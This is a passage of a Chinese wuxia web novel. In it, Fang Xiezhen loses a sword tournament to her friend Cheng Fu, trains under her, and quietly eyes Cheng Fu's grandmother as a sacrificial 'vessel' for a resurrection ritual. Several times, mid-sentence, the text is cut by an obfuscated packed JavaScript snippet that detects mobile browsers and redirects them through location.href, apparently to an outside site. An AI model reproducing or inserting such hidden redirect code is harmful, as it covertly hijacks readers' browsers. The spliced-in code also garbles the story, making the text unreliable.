师妹道:“揭幕之战结束后,程芙大侠向我问起你,她好像在找你……但是我不知道你去哪了,也就没法子告诉她。” 方撷真一怔:“她问起我?” 师妹点头。 月亮行至湖泊中央,方撷真的心一点点亮起来。 太好了,真是太好了,至少程芙还是在意她的,都会主动问起她呢。等到明日,她就找程芙去,先作出生气的样子,问程芙回了老家为何不告诉她一声,等程芙解释了……答案应该不会令她失望的吧? 可惜第二日方撷真实在没有时间,论剑大会抽出来的签子不好,叫她忙了一整个早晨,哼哧哼哧过五关斩六将,终于爬进六十四甲。 百余人参赛,六十四甲中规中矩,然而别人一知方撷真只学了七年武,立即刮目相看,赞她来日大有可为。 这些赞美,方撷真很受用,她从武红英长期的质疑、打压里寻到了救命稻草,并且非常乐意自救,于是就循着一声声的赞美使劲儿往上爬,哪管这些稻草是不是快要腐烂。 晋级六十四甲之后,还有晋级三十二甲的角逐,方撷真跃跃欲试的同时,又有些畏惧,如果抽到一个实力强劲的对手,未必能赢。 方撷真瞥一眼身侧的母亲,顿觉压力颇大,只求老天保佑,稍微厚待她几分。 下一轮抽签的结果很快出来。 方撷真将要对战程芙。 这结果宛若晴天霹雳,方撷真的手指抖似筛糠,无情暴露出她的担忧:“母亲……她很厉害。” “我知道,”武红英神色凝重,“你怕什么?只管和她比。” “我怕我会输……” “不要这样畏畏缩缩。一日后才进行下一轮,你要做好准备。” 方撷真便着手准备,几经思虑,她决定搁置起找程芙谈心的事,全心把精力放在后天的比试上。饭,匆匆扒几口,觉,和禁闭时一样,只睡两三时辰。 这都是为了赢。 而且,是赢程芙。 只要赢了,不仅她方撷真面上有光,还能助长水月谷的气势,更重要的是,武红英会高看她一眼,不会再成日叫她向程芙看齐…… 这都是多么美好的事,单是想一想,方撷真便禁不住笑出声。 一日后,方撷真忧虑又怀揣希望的站上擂台,拔出翠微,迎上程芙的拒霜。 很快,她便在看客们对程芙的夸赞声中灰溜溜下了台,连剑都忘记收。 24.琉璃(4) 方撷真逃也似地回到武红英身畔,却不敢抬头,默默坐下。 好热闹啊,不论是谁赢了,总有人欢呼喝彩,那些声音里应当没有一分是属于她的吧?毕竟人人都记不得输家。 她显而易见的落寞,换来了武红英的柔声安慰。 武红英摸了摸她微微颤抖的脊背,道:“六十四甲已经很不错。若没有遇见程芙,兴许你能走得更远。” 六十四甲,哪里能算不错? 不必等到来年,恐怕到了下个月,人们就忘了本届论剑的六十四甲都有什么人了吧! 方撷真稍微扬了扬下颚,只不过眸光依旧往下,凝视自己的足尖:“……输了就是输了,我不给自己找借口。我技不如人。” 耳畔的议论声此起彼伏,有人说程芙有望蝉联魁首,有人说水月谷唯有姓徐的那位徒子算厉害,有人说…… 方撷真异常艰难地剖开心口,从里头扯出一寸勇气,借着这勇气,往看台下飞快撇去一眼。 只见程芙被人围着,似乎有些无所适从,正努力挤开人群,像要过来寻她。 再往近处看,几位伏光门徒子凑在一处,正盯着她窃窃私语,尽管不知在说什么,但应当是贬低嘲笑的话。 武红英不知方撷真心中所想,却很欣赏女儿不为失败寻找借口的态度于是嗓音更温和平缓,近乎耳语地鼓励道:“不要灰心,总有一日能胜过她。” 谁知她话音放落,方撷真仅是微微颤抖的脊背,便不由自主地开始剧烈起伏,甚至还随着难以自抑的哭声:“万一没有那一日……母亲,万一没有那一日……” 万一没有那一日,母亲还会日日都如此暗示她吗?暗示她必须以程芙为标杆,为前进的方向,暗示她必须超过此生最好的朋友。 可是她不想啊。 最初最初,她只想和程芙做朋友啊,不想做对手啊。 武红英神色一僵,匆匆向稍后要上场的徐剑屏叮嘱:“剑屏,你上场时万万仔细些,务必赢下来。” 说罢,武红英搀着女儿离开看台,往寂静无人处走。方撷真二十来岁了,要不是襁褓婴儿,因失落伤心失了七成力气,非要扶着挽着才能走动。 武红英便费力引着女儿走,终至一处回廊转角。 凉风缓至,灌满方撷真的袖口与心口。 “不许哭。你该坚强勇敢。”武红英用帕子为女儿拭泪,“只是一场比试,你又不会输一辈子,哭什么……” 方撷真却猛然仰头,冲武红英低吼道:“又没有别人在场!我心里难受,还不能哭吗!我比不过她,我这辈子都赢不了她!” 她早忍不住了,早在关禁闭的时候就哭过许多次,却没有一次在武红英面前表露出来。因为她是个要复活养母的女儿,是个还没有学会回魂术的女儿,是个需要听话懂事讨好生母的女儿。 这么多年,方撷真只冲武红英撒过两次脾气,一次是误杀魏澄后,一次便在今日。 武红英猛吸一口凉气,都说孩子越大越难管教,她不知这话的真假,因为她并不清楚方撷真幼时的性情。 然而眼前的这个孩子,千真万确不听她的话,还敢凶巴巴地吼她。 她不禁想到水月谷相师当年算的“母女相克”卦,心头一沉:“我是叫你立个榜样,好学着她的干劲儿,将来做她那样优秀的人……” 方撷真不以为然,只作苦涩的笑。 也许是站在风口的缘故,武红英的口鼻忽地灌进许多风,逼得她快要不能呼吸。 女儿的笑容像挥向她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245934|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀,斩断她的头颅、拆尽她的筋骨,她不得不扶住长廊廊柱,才不至于跌倒。 正想说些什么,便听身后有人平静唤道—— “武谷主。” 是程芙寻了过来。 沉静的眼眸,挺直的脊背,她是本届论剑夺魁的热门人选,也是方撷真此刻既想见,又不想见的人。 武红英从善如流地收拾好情绪,僵笑道:“程大侠?你是找我,还是找小女?” 程芙不绕弯子:“我找令媛。” 武红英点头道:“正好,小女也有事要找你。她脸皮薄,不好意思直说,便由我这个做母亲的开口。能否请你教授她剑法呢?” “母亲!” 始终别着脸的方撷真陡然抬头,厉声喝止。她不需要,她不稀罕!她不用程芙来教! “真儿,扭捏什么?你跟着程大侠,能学到不少东西,那都是我无法教给你的。”武红英这话说得不错,论机关暗器,她可跻身一流行列,论剑术,她便排不上号了。 见程芙满脸的云淡风轻,武红英干脆上前一步,匆匆说道:“程大侠,你若愿意,作为报答,我们水月谷有些铸剑的好材料,一律赠予你。” 程芙拧眉,人虽在武红英身前,目光却绕到她身后,落在方撷真脸上。 愤怒,不甘,抗拒。 落寞,失望,伤心。 一样样的情绪,都被程芙细腻精准地品出,只是她不明白,这些情绪里的某部分,由何而来。 犹记得昔年茫茫雪原,方撷真再三央求她,希望能她能授以剑法。那个时候方撷真的眼睛是很明亮的,盛着雪地上最皎洁干净的月色。 “武谷主,我……” 程芙犹疑着是否要拒绝,只怕答不答应都是错。 25.琉璃(5) 人往风口站,脸上必然会有风扑上来。 不过方撷真的声音,竟半分都没有被风声弱化,字字清晰,连她愤愤的情绪,都被精准地传达: “程芙,你要是念及旧情,就不要答应!我不用你来教!” 她愱恨程芙,愱程芙一帆风顺、亲友环绕,恨程芙是罩在自己头顶的沉重乌云,挥之不去,无意无形地折磨得她痛不欲生,恨程芙胜过她,害得她要被武红英施加更重的压力。 她不要这样的人来教自己! 向来平和从容的程芙,眸底掀起浓重的不解与窘迫,还惨着五六分伤怀。 她避开方撷真灼人的视线,面向武红英:“武谷主,还是尊重少谷主的意愿吧。少谷主天赋异禀,不愁将来。” 武红英拧了拧眉,不好强逼程芙,唯有暂退一步,另寻路子:“程姑娘,你和小女是朋友,可否拜托你,陪陪她?” 程芙果断地应允。 她正是为此而来。 九曲回廊长得望不到头,只晓得它蜿蜒了一段距离,便在一株桂花树后消失,剩下的部分又有多长呢? 饶是从小在澄意山庄长大的程芙,竟也不能立时想起答案。 她的注意力全在友人……如果方撷真还当她是友人的话,这话才能这样讲。 “上一次,你说‘过两日再说’。如今能说了吗?”程芙欲拉着方撷真坐下,秋天的走廊栏杆冰凉凉的,可有没有其他地方能坐着冷静了。 方撷真却挥开她的手,似笑非笑:“还没有恭喜你赢了。” 她输得狼狈又畅快,分出胜负后很不大气地直接下台,什么话都没有留,连句恭喜都没有。 她原有很多话要问程芙,譬如为什么不把回老家的事告知她一声,可那份疑问,终究随着输赢的决出,变得不那么重要了。 像是一朵花落进溪流,缓缓浸满了水,沉进水底,人们都只欣赏枝头和水面上的话,从不爱水底的。 程芙深觉受不起方撷真的恭喜,仿佛只要“嗯”一声,就能招来方撷真更严重的负面情绪。 两人过招时,方撷真的剑风很不对劲。 程芙不是没有和凶狠的人比试过,却没有谁像方撷真这样不要命,把所有的谋算、预判连同脑子通通丢掉,只剩浓烈的求胜欲。 她将方撷真的凶狠和冷漠联系到一起,却不能拍板二者是否有联系,因为世上只有方撷真本人能告知她答案,而方撷真偏偏不愿意告知她。 程芙唯有先作试探:“你的翠微。保养得很好,很锋利。方才那轮比试,你的最后几招能做得更好,如果当时——” “我已经输了。说再多都没用。”方撷真轻笑一声,无奈又颓废。 “你以后会赢。我教你,我把招式拆开来讲给你听,你会赢。但我希望你能将来龙去脉说清楚,你对我的态度,为何变了那么多?”程芙沉声道。 赢——于方撷真而言是很大的诱惑,她想证明自己不比程芙差,从而堵上武红英的嘴,以求永远的安心。 但她没有办法答应程芙的条件:“……我说不清楚,说不清楚!这几日我都不想看见你,程芙,我需要多想想。” 时间而已,程芙愿意给:“到时候,无论你的答案是什么,无论你认不认我,都记得给我答复。我一直都在云州,你写信也好,亲自过来也好……我的人就在这里。” 随着桂花香气拂面而来,两人对视一眼,背道而行。 方撷真原路返回,不出几步便遇见等待她的武红英:“母亲。” “真儿?”武红英眼里的期待都能溢出来,“有结果了吗?她答应教你了吗?” 方撷真摇头,面庞低得很深:“我再多思虑几日。您很着急吗?” “我当然……”当然着急。 论剑只持续数日,结束后武红英一行人便要返程,她迫不及待想为女儿求一个靠得住的老师,若程芙不答应,她便去找别人。 然而望着方撷真垂下的脖颈,武红英突然心尖一痛,改口道:“倒也不太急。那你就再多想几天吧,左右我们要等到论剑结束才启程。走,回看台吧。” “还回去?” “很快便轮到我们水月谷的人登台,你是少谷主,不在不合适。” 武红英牵起女儿的袖口,道:“走吧。你听母亲的话,看看别人是怎么比试的。” 方撷真的身子沉得很,极为勉强地回到看台后,总是心不在焉。每次抬头,她都觉得四周有人盯着自己妄加议论,看,她就是水月谷的少谷主,刚才输得可难看了…… 是以她始终低着脑袋,仿佛将自己和整个世界隔开,外人说什么笑什么,都和她无关。 “真儿?”女儿的不对劲显而易见,武红英眼神再不好使,也该发现了,“不舒服吗?你认真看了没有,可晓得台上是什么境况?” 方撷真脑子嗡嗡得响,明明看得出她不舒服,为何还要逼她看什么乱七八糟的比试?她睨了眼擂台,见战况焦灼、剑影纷飞,遂硬着头皮乱说道:“高个子的要输了。” ——音方落,她看好的那位侠士便利落地败下阵。 方撷真愣了愣,道:“我猜错了。” “因为你的心不在擂台上,判断不出局势。”武红英叹了口气,“罢了,你回去歇一歇也好。晚些时候,母亲去寻你。” 本是可以令自己解脱的话,方撷真听完却没有感到轻松。 她认识一个人,有一双比鹰还能洞悉万物的眼睛,尤其擅长判断局势。她曾被那个人传授过剑法,无论她有什么漏洞不足,那个人都能一眼看出。 方撷真咬唇,欲将某个想法彻底扼杀:“母亲,我回去了。” “好。”武红英替女儿拢了拢衣襟,免得她回去的路上吹风,“好好休息。” 可方撷真并没有好好休息,她和程芙过的每招每式一遍遍被她掏出来想,她到底为什么才输?是出剑太慢了,闪避太迟了吗? 越是去想,那些画面便越模糊,好似一张反复查阅的纸,慢慢地慢慢地,字迹屈从于折痕和汗渍,无法看清了。 黄昏的时候,方撷真开始发烧。 起初她没有察觉,只当是没有吃晚饭才会头晕,遂剥了半个橘子下肚,草草解决口腹之欲,随后便缩紧被窝,继续想自己输给程芙的场面。 直至武红英回来,她才发觉女儿的脸红透了,体温烫得惊人,方知方撷真的身体出了问题,立刻遣人请大夫来。 澄意山庄里就住着位大夫,姓许,是山庄的门客,她平日不给外人看诊,除非是什么有趣的杂症,又或是看在谁的面子才会出手。 今日特殊,恰逢论剑大会,群英云集,那大夫又很愿意卖武红英一份情,故而水月谷稍稍一请,她便匆匆赶了过来。 一番望闻问切,许大夫有了定论:“发热而已。” 发热一事可大可小,若是严重,要了人命都有可能,武红英不喜许大夫云淡风轻的态度,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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语罢,许大夫扶着床沿起身,径直出了屋,且婉拒了水月谷的人送自己一程。 武红英目送她离去,她和真儿的容貌的确像,不怪一个外人都感叹。 其实若说性情,她们母女也是有点儿相似的。她和妹妹双亲早亡,姊妹俩跟着姑姑长大。 后来姑姑脱离师门,将姊妹俩也带上,那个时候还没有建立水月谷,姑侄三人的境遇很不好,姑姑受冷眼的时候,姊妹俩也受冷眼,姑姑撑不下去偷偷哭的时候,姊妹俩也躲起来哭…… 武红英小时候就是个普通的、爱哭的丫头片子。 抓药的徒子回来了,几人正忙着熬药。 武红英绷紧了嘴唇,试图理平心绪:“真儿,你能赢……” 她突然顿了顿,换了措辞:“咱们不想那些事情了。你先睡一觉,睡一觉便什么事都没有了,好不好?” 方撷真又嗫嚅几下,乖乖合上双眸。 * 翌日,方撷真脑袋闷闷地醒来,推窗一望,蒙蒙细雨正笼着云山。 她口渴得厉害,还好壶里就有温水,才饮完一杯,徐剑屏便很巧地推门而入,讶异道:“少谷主?你还烧吗?” 方撷真保留着点儿昨日的记忆,却记得不太清楚,模模糊糊的,眼前像糊了雾:“谷主在哪儿?” 她答非所问,徐剑屏并不在乎:“谷主陪了你一晚上,天亮的时候才睡。” 方撷真眸光轻颤,似乎有所动容,然而终究仅是轻颤。她笑了笑,没有说话,而是提起翠微剑,步履轻盈地出了门。 知己知彼、百战百胜的前提之一,是“知彼”。 26.乱云(1) 程芙不住徒子居,她有自己专属的院落,尽管面积不大,却被一丛丛的花衬得惬意风雅。 在院门外盘桓了一会儿,方撷真决心更稳,咚咚咚将门叩响。 院门打开的一瞬,门外的人绷着脸,门里的人却面露错愕,问道:“方撷真,你找我?” 程芙语中满是难以置信,她以为方撷真还需要些时间才能想透,不料这么快便找上了门:“进来吧。” 方撷真便一步踏入院中,原来程芙就住在这样的一个地方,院落一角是最无趣的松树,另外三面则是稍微有点意思的花圃。 她踱了两步,为晾衣架上搭着的几件衣服出神,那些衣裳和程芙的穿衣风格不像,多有花纹装饰,长短也不大对:“你不是一个人住?” 怕是在和哪个交好的师姐妹同住吧,方撷真如此腹诽道,向她这种排不上号的人,就不能有需要程芙同住的殊荣。 程芙答道:“不是。我将我阿婆从老家接来云州了。我们祖孙一起住。” “……没有别人?”方撷真咬唇。 “别人?能有谁?”程芙觉得方撷真莫名其妙,再一转眸,立时明白了她为何有此一问,“花衣裳都是我阿婆的。我们老家买不到这种精致衣料,这不是到云州来了,才给她买几件。” 方撷真心一沉,没有多说。 她随程芙进屋,便由此见着了程芙在世上唯一的亲人,那是个六十来岁的老妇人,看起来很硬朗,面色红润。 礼节驱使方撷真稍微颔首,问候道:“阿婆好。” 程芙也道:“阿婆,这便是方撷真,你还记得她吗?我和你提过的。” 程阿婆偏着头想了会儿,终于想起来孙女是有这么个不一般的朋友,遂又惊又喜地拉着方撷真坐,热情道:“噢,噢!我记得的!” “阿婆听说过我?”方撷真不适应程阿婆的好客,身体有些僵硬,却也依着老人的心意,乖乖坐下。 “你是我孙女的朋友啊,她在我面前讲起过你。”程阿婆道。 方撷真笑了笑,斜睨正在倒茶的程芙一眼:“是怎么讲的?” “说你好呗!”程阿婆一拍大腿,乐呵呵地开始胡说,“说你模样生得好、头脑也好……总之就是好,变着法夸你。” “阿婆,好了。”程芙淡淡唤了声,为方撷真端来一杯温热茶水,解释道,“我阿婆就是这个性子。” 方撷真当然不信程阿婆的说辞,她太清楚程芙的个性了,什么模样好头脑好,什么变着法子夸她,统统都是无稽之谈。 她没有心思喝水,也不依照武红英教的礼仪多和程阿婆说几句,开门见山道:“程芙,你出来。剑拿上。” 程芙凝眸:“比剑?” 言语间,方撷真已走到门口,逆光而行,腰间的翠微剑散着清冷银光:“昨日的比试,我们重演一遍。” ……她果然在耿耿于怀,程芙的睫羽颤了颤,提剑而出。 拒霜剑不是程芙亲手所铸,唯有原材料可以与翠微剑媲美,剑身出鞘的刹那,当即便输给了银辉熠熠的翠微。 不过一场比试的输赢,最终还是要看持剑人。 “昨日的每招每式,你都还记得?”出招前,程芙问了一句。 “自是记得,终生难忘。” 方撷真语罢,与昨日一样迅猛地扬起剑锋,直逼程芙腋下。她们是比剑论武,不是生死决斗,应贯彻所谓的武德,不能行阴谋诡计。 “太慢了。”程芙却灵活地撤身,指出方撷真的不足,“你太过用力,失了灵巧。翠微以轻盈著称,你要记得。” 方撷真冷嗤一声,虽不喜程芙的“教诲”,却深知自己太需要这种“教诲”,便将其烙进脑海中。 又是一次交锋,方撷真与昨日一样向右侧身,躲过程芙一剑。 “你往右闪避的时候,会习惯性地忽视左侧,敌人就会趁虚而入。”拒霜剑虚虚贴方撷真的衣料划过,程芙有分寸,没有划破对方的衣裳。 …… 八次交锋过后,方撷真收了剑,因为昨天她就只出过八招,便输了个干脆。 程芙已指点出她的每一处错误,她正细细琢磨着如何改进,尚未有头绪时,便听程芙又道: “现在我就是你,我把更好的做法演示给你看。” 方撷真抬头:“你?” 程芙:“对,是我。我先出剑。” 第二轮双方攻守易势,方撷真一面暗叹程芙对敌人招数的洞悉能力太过敏锐,一面又叹其能防得滴水不漏。 她愈发觉得自己无能,面对如此强大的对手,不知要何年何月才能将其击败。 “方撷真,专心!”程芙忽地低斥一声,剑尖破空划来,利落了翠微剑。她啧了声,道:“你休息一会儿吧。” 方撷真的确需要休息,好把方才所学慢慢消化。没关系的,她安慰自己,她又不是要做天下第一,她只是想打败程芙,她的敌人就只有这一个。 只要参透程芙的一招一式,何愁赢不了她呢? 方撷真直接坐在水井边缘,竟很凉快舒适。 “……都汗湿了。你们也没有比太久,哪里来得这么多汗?” 耳畔突然响起程阿婆的声音,方撷真循声望去,原来程阿婆正拿了汗巾,往孙女后背里塞:“坐一会儿,把汗吸干就好了。” 年少丧母的方撷真瞳孔一凛,仓惶收回视线,不敢往那方向多看半眼。 方虹也会往她后背塞汗巾,等她玩够了,衣裳湿透,再把汗巾抽出来,很快便能干干爽爽的,不怕着凉。 “我穿得太厚,才有这么多汗。我分明不怕冷,您却缠着我,要我多穿几件。我这就脱衣赏去。”程芙温声埋怨着程阿婆,可是听她的语气,分明只有无奈。 方撷真忍不住,往祖孙俩的方向偷偷觑了一眼。 “欸,阿芙,不能脱啊,一会儿冷一会儿热,最容易着凉!你且忍一忍,下次不叫你穿这么厚就是了!” 宛若做贼,方撷真只敢看一眼。她悄悄将斗大的眼泪珠子抹了,挥进水井里。 方虹死在她剑下,已有三年了。 “方姑娘,你是不是也出汗了?我给你塞个汗巾吧,是我自己扯了布缝的。” 程阿婆照顾好孙女,又来关心孙女的朋友。 她笑得慈爱温柔,令方撷真恍惚了一瞬,重重点头:“好啊,我也出汗了……您帮我吧。” 等汗巾完全塞进后背,贴着肌肤了,方撷真才迟钝地意识到自己有多失礼,她是这间小院的客人,哪有叫主人为她塞汗巾的道理呢?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256503|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可她偏偏不为所动,心不安理不得地享受着程阿婆的轻声叮嘱,什么用剑要小心啊,在江湖里行走要仔细啊…… 好啰嗦好聒噪的老妇人,比方虹有过之而无不及,方撷真却不觉得烦,反而笑问道:“阿婆好有精神,您多大年纪了?” “有六十五了。”程阿婆道。 六十五啊,略比方虹大了几岁。小时候方撷真常以为方虹是老来得女,年近四十才生下自己,后来才知生出她的人根本不是方虹。 “方姑娘吃早饭了吗?要不我做一些吧。”院中就有炉灶,一旁还有米面和新鲜的菜肉,程阿婆热情如火,很乐意亲自下厨招待客人。 “嗯,好啊。多谢阿婆。”方撷真一口答应,半点儿都不客气。 她望向程芙,见对方仿佛很惊讶,便问道:“不可以吗?” 程芙抿唇,实在猜不出方撷真在想什么:“随你。阿婆,我来打水。” * 数日后,本届论剑的魁首决出,又是程芙。 这不是什么惊为天人的大事,只因每位参赛者的实力都明晃晃地摆在面上,初轮比试一过,谁有夺魁的实力,大家心里都有数。 即使中途有爆冷的较量,程芙也一路平稳地走到了最后,不负众望。 对于结果,程芙本人无甚欣喜,却非常庆幸自己从今往后真的不用再练剑,只需守着她的剑庐,打好她的铁。 “这下你要流芳百世了。再过五年,会不会又是你夺魁?”方撷真已与程芙达成无言的约定,数日以来,她每天都会造访程芙的院落,两人切磋剑术。 “不会。”程芙倚着一株雪松,精心地擦拭拒霜剑,“我本无意参赛,是我师娘和朋友极力期盼我出手。我不喜欢用剑,以后也不练剑了。” 方撷真蓦然仰首:“什么?” 应是知道她在惊讶什么,程芙缓缓答道:“我已有段时日不练剑了,我觉得这样很好,我比从前更快乐。” 自从程芙回到云州,她多半将时间花在剑庐中,除了铸剑,也会铸一些刀枪弓弩,亦或是流星锤、梨花针等奇形怪状的武器,更甚是受同门之托,打几样锅碗瓢盆。 无论什么东西,她都乐在其中。 但凡见识过程芙的本领,没有不为她的决定惋惜的,方撷真也是其中之一。 一个天赋不算绝顶的剑客,能有今日的成就,背后付出了多少光阴心血。 方撷真深有体会。 她回想自己拼命练武的这几年,实在太不容易。 可她还是太弱小了,如果她和程芙一样强大,她和方虹就不至于被逼迫到走投无路,武红英也会日日温柔地夸赞她。 所以,方撷真没有时间多为程芙叹息,她要将更多的心力放在自己身上。 “阿芙,方姑娘,烤饼做好了,过来吃吧。” 循声望去,程阿婆端着一盘热腾腾的烤饼走出来,饼里包着肉馅,味道偏咸,却能叫人垂涎欲滴。 《水月秘典》中有载,用回魂术为逝者招魂,需要另一人作为魂魄的容器,最好是和逝者性别相同、年龄相近的人。 “方撷真,不要愣着,来吃东西吧。”程芙也催促道。 “这就来。”方撷真盯着程阿婆,笑意款款,大踏步地迈过去。 27.乱云(2) 使用回魂术招魂,过程相当复杂。 首先需要一个合适的人充作容器,再令找好的容器服用由九种原料炼制的枯心露,持续一月。 一个月后,容器的生命便会走向尽头。此时,应趁尸身尚未僵硬,将其放入提前准备好的冰棺,鸣乐奏曲、长念法咒,七七四十九日后,便能回魂。 这些都清楚地记载在《水月秘典》里,只不过方撷真仍不晓得要奏什么曲、念什么咒,也不晓得从哪里弄齐那九种炼制枯心露的原料。 方撷真做少谷主已有两年,武红英虽常常无意地往她心口捅刀,却在物质上待她极好,也给予她信任,一如世上许多寻常人家的母亲。 然而武红英还没有提出教授她水月谷秘术,她便不好主动提,若是此时能有个什么成就便好了,到时武红英定然欣喜,说不定就合了她的心意,将秘术教给她。 屋里,程阿婆正在为两位年轻女郎倒花茶,方撷真不禁为她的背影出神。 一个与方虹差不多年纪、差不多慈爱的妇人,不会武功,没有反抗的能力……为何偏偏就是程芙的至亲呢? * 论剑大会结束后,方撷真征得了母亲的同意,没有随行回谷。她在这次武林盛会中未打出多大的名气,却留下莫大遗憾,之所以留下,便是为了填平那遗憾。 方撷真在澄意山庄小住到来年二月份。 武少谷主客居澄意山庄,裴庄主便为她安排了一间与程芙的院落所毗邻的居所,院中青竹挺秀,甚是风雅。 闲来无事时,方撷真偶尔与程芙坐在一处品茶,却仅是品茶,很少有谁启唇说话。 “你何时走?”程芙觉得方撷真已在此地住得够久,她也教得足够多。 “你想让我走吗,程芙?”方撷真已不再唤程芙的昵称了,改为换全名。 程芙道:“你进步得很快。” 夜以继日地苦练,倘若进步得太慢,当真是愧对岁月,方撷真抿了口温水,她习武之后便不乏被称赞天赋奇佳,是以,她也没有愧对卓越的天赋。 便在方才,她生平第一次胜过程芙。 纠缠了七十来个回合,她终于抓住程芙的破绽,将剑锋送至其胸口,宣告了自己的胜利。 直至此刻,方撷真的手还是抖的,杯中茶水几次三番泼出来。 她想要马上给武红英写信,告知母亲她的成就,但她转念一想,还是亲口说出来为妙。她要亲眼见证武红英的喜悦惊讶,亲耳听到母亲的夸赞。 “这两日就启程了。你们云州也不是什么金贵地方,冬天冷得要命。”方撷真在骆都长大,而云州骆都两地的气候分明相似,她却说不习惯云州的冬。 大抵是适应了水月谷的四季如春吧,程芙且作此想:“嗯,回去也好。日后何时能再见面?” 方撷真睨她一眼,自然是要见面的,她没日没夜地练习、回顾,只为参透程芙的所有剑招。 如今是时候叫武红英看看她的本事了,也是时候加以沉淀,以待来日了。方虹的仇、回魂术,还有眼前这个只输给了她一次的人……还不够,她不只要赢这一次,她要赢千万次。 方撷真轻轻放下茶盏,观察程芙的神色——平淡从容、肤色中和,一派的风轻云淡。 再伸手抚摸自己的脸,好烫手,原来她早就因为胜利的喜悦气血上涌,脸庞泛了红。 “你输给我了,程芙。”方撷真强调着自己的胜者身份。 未如她所愿,从方才到现在,程芙脸上一丝异样都没有,根本未曾露出她想看到的慌乱、难过或是错愕。 程芙反问她:“你的意思是,我输给你,你便不和我见面了吗?” “当然不是这个意思。”方撷真还不至于恨到此生不见的地步,更何况,她还要一次又一次地击败程芙,“不如做个约定吧。” “好,你说。”程芙把机会交给方撷真。 “三年之后。” “三年之后?” 程芙蓦然掀眸,她以后方撷真会将时间定在今年的某月某日,却不想直接跨越了三年。 正月里皇帝崩逝,来年便要改年号了,方撷真这家伙……竟将分别、再见之日跨越了两朝。 也好,分别得久一点而已,程芙是个耐得住的人,不怕天长日久:“我们应该还算朋友吧。” ……好久违的一句疑问啊。 从前,都是方撷真来问,如今,换成程芙来问。 只不过,程芙为何不早些问呢?在才重逢的时候,在她发怒的时候,在她输掉比试的时候…… 太晚了,太晚了。 方撷真已经没有朋友了,以后也不会再有新朋友。 她这辈子最后的一个朋友在她眼前,询问她是否还惦念着两人的情谊。 若是全然不在乎,方撷真便不会藏起来哭,正是因为在乎、惦记,才会在以为程芙再度抛弃她后,恨得牙根发痒啊。 偏偏方撷真想不明白这道理,以至于回答不了程芙的问题,她瞥了眼远山山腰上的云雾,又睨向树上新芽,到处都没有写着她要的答案。 久久等不到答案,程芙渐渐坐不住了,凳子上像平白生出数不尽的钉子,使她往前探了探身子,但她依旧面色平静,看不出波澜: “方撷真?你真要和我恩断义绝?” 可是为什么?从头到尾,她程芙做错了什么?她以朋友的身份,关心方撷真的情绪,指点方撷真的剑法,将所有的情分都付诸行动,她自认问心无愧。 方撷真被问得眼神乱飘,竟鬼使神差说道:“三年之后若能再见,那便是。” 语罢,两人同时怔忡一瞬。 慌乱的方撷真低下头,舌尖品出淡淡的苦涩:“你来定相见的地点吧。” 主动权回到程芙手中,她略一思虑水月谷和云州间的距离,想出一处绝妙地点,无论谁去赴约,都不至于奔波太远:“扈县。” 方撷真咬住满口银牙,扈县是她此生都不能忘怀的地方。 她在那里求血刃峰助她报仇,在那里害死了一个无辜的水月谷徒子,也是在那里,与程芙成为朋友,又很快被程芙“抛弃”。 扈县留仙原上的雪花啊、月光啊,都在这一刻飘至方撷真心头,不知那间小木屋,如今还空着吗?马厩里的草料生腐了吗?冬天的时候,还能抓到野兔子吗…… “笑什么?” 耳畔响起程芙陡然一问,方撷真才知自己已笑了许久,她连忙绷住情绪,冷声道: “好,三年之后,初春。你我扈县见。” 程芙低头,唇角漾开一抹笑意,方撷真这家伙啊,还真是口是心非,分明很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265132|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀念住在扈县时的岁月,还要板住脸:“到时再见,你要告诉我原因。” 方撷真不明白是什么原因。 “你与我疏远的原因。”程芙定定地凝视友人,“成吗?” 方撷真沉默良久,终究在程芙递来一块鲜花饼时伸出了手,却不是接过甜点,而是趁机勾住程芙的小指,许诺一般,向下拽了拽。 鲜花饼忽地落地,摔得粉碎。 而方撷真的目光很坚定:“三年之后,程芙,我必解你今日之惑。” 三年光阴,方撷真暗忖自己的心结应当能解开了,到时候她便能毫无芥蒂地与程芙重归于好了吧? 她没有别的朋友了,她再也不会有新朋友了,三年后的留仙原,她要将唯一的朋友拾回来。 * 水月谷。 方撷真连日奔波,见到武红英的第一件事,便是自豪地仰起头,脆生生道:“我赢过她了。” 武红英意识到女儿说的是谁:“果真?” “果真!虽只有那一次,可是母亲,我会做得越来越好!”方撷真站在武红英面前,额头还滴着奔跑后的汗水,她下马后便没有停过步子,只求尽快道出成就。 “呵——” 